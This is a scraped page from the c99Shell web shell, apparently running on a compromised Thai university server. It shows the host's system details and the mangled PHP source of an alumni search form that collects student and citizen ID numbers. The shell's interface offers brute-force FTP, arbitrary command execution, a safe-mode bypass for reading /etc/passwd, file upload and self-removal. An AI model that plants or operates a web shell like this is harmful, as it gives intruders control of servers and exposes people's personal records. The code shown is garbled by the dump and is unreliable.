!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/ealumni/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_searchAlumniQn.php (5.62 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%">
    <tr>
        <td align="center"><span class="h error">ค้นหารายชื่อศิษย์เก่า</sapn></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <?php echo form_open($this->config->item("ea_folder")."search_alumni/result_searchQn", array("name" => "myform""id" => "myform"));?><td><table class="szone">
            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td class="coltd_szone"><b>รหัสนักศึกษา</b></td>
                <td><input type="text" name="stdCode" id="stdCode" value="<?php echo set_value('stdCode');?>" size="11" maxlength="10" class="required-int" /></td>
            </tr>
            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td class="coltd_szone"><b>รหัสบัตรประชาชน</b></td>
                <td><input type="text" name="citizenId" id="citizenId" value="<?php echo set_value('citizenId');?>" size="14" maxlength="13" />
                <?php echo form_error('citizenId');?></td>
            </tr>
            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td class="coltd_szone"><b>ชื่อ - สกุลนักศึกษา</b></td>
                <td><input type="text" name="name" id="name" value="<?php echo set_value('name');?>" size="20" maxlength="50" /></td>
            </tr>
            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td class="coltd_szone"><b>หลักสูตรที่จบ</b></td>
                <td>
<?php
                
echo form_dropdown('curId'$rs_curdset_value('curId'));
?>
                </td>
            </tr>
            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td class="coltd_szone"><b>ช่วงปีที่สำเร็จการศึกษา</b></td>
                <td><input type="text" name="graduateY" id="graduateY" value="<?php echo set_value('graduateY');?>" size="5" maxlength="4" class="required-int" />
                -
                <input type="text" name="graduateY_2" id="graduateY_2" value="<?php echo set_value('graduateY_2');?>" size="5" maxlength="4" class="required-int" />
                <?php echo (form_error('graduateY')) ? form_error('graduateY') : ((form_error('graduateY_2') ? form_error('graduateY_2') : ""));?></td>
            </tr>
            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td class="coltd_szone"><b>ตอบแบบสอบถาม</b></td>
                <td>
<?php
                $num 
0;
                
$opt[''] = '';
                
$opt['Y'] = "ตอบแล้ว";
                
$opt['N'] = "ยังไม่ตอบ";

                echo 
form_dropdown('ansQn'$optset_value('ansQn'));
?>
                </td>
            </tr>
<?php
            
if(isset($fault)) {
?>
            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td height="22" colspan="2" align="center"><span class="error"><?php echo $fault;?></span></td>
            </tr>
<?php
            
}
?>
            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td align="center" colspan="2">
                <input type="submit" name="search" id="search" value="ค้นหา" />
                </td>
            </tr>
        </table></td><?php echo form_close();?>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
<?php
    
if(isset($undefine_tq)) {
?>
    <tr>
        <td align="center">ควรกำหนดเงื่อนไขการตอบแบบสอบถามของผู้สำเร็จการศึกษา สำหรับปีการศึกษาที่จบ ดังนี้ <br /><?php echo $undefine_tq;?></td>
    </tr>
<?php
    
}
?>
    <tr>
        <td align="right">รวม <?php echo (isset($rs_am)) ? $rs_am->num_rows() : 0;?> รายการ</td>
    </tr>
    <tr>
        <td><table class="headCol">
            <tr bgcolor="<?php echo $this->config->item('table_c_even');?>">
                <th class="seqCol">ลำดับที่</th>
                <th class="stdCodeCol">รหัสนักศึกษา</td>
                <th>ชื่อ - สกุลนักศึกษา</th>
                <th>หลักสูตร</th>
                <th class="domAmtCol">ปีที่สำเร็จการศึกษา</th>
                <th class="stdCodeCol">ตอบแบบสอบถาม</th>
            </tr>
<?php
    $i 
0;
    if(isset(
$rs_am) && $rs_am->num_rows()) {
        foreach(
$rs_am->result() as $row_am) {
            echo 
"<tr onmouseover=\"bgColor='".$this->config->item('tr_c_even')."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                <td align="center"><?php echo $i+1;?></td>
                <td align="center"><?php echo $row_am->studentCode;?></td>
                <td class="indent"><span class="hand" onClick="sendPost(
                'hidform', 
                {'alumniId':<?php echo $row_am->alumniId;?>},
                 '<?php echo site_url($this->config->item('ea_folder').'add_ansqn/ans_Qn');?>')" /><?php echo $row_am->prefixName.$row_am->studentName.' '.$row_am->studentSurname;?></span></td>
                <td class="indent"><?php echo $row_am->curName;?></td>
                <td align="center"><?php echo $row_am->graduateYear;?></td>
                <td align="center"><?php echo $row_am->amAnsQn;?></td>
            </tr>
<?php
            $i
++;
        }
    } else {
?>
            <tr>
                <td colspan="6" align="center"><span class="error">** ไม่ปรากฏรายการในฐานข้อมูล **</span></td>
            </tr>
<?php
    
}
?>
        </table></td>
    </tr>
    <tr>
        <td align="right">รวม <?php echo $i;?> รายการ</td>
    </tr>
    <tr>
        <td><table class="mark">
            <tr>
                <td class="coltd_mark"><span class="error"><b>หมายเหตุ : </b></span></td>
                <td><span class="error">1. Y หมายถึง ตอบแบบสอบถามแล้ว</span></td>
            </tr>
            <tr>
                <td></td>
                <td><span class="error">2. N หมายถึง ยังไม่ได้ตอบแบบสอบถาม</span></td>
            </tr>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0094 ]--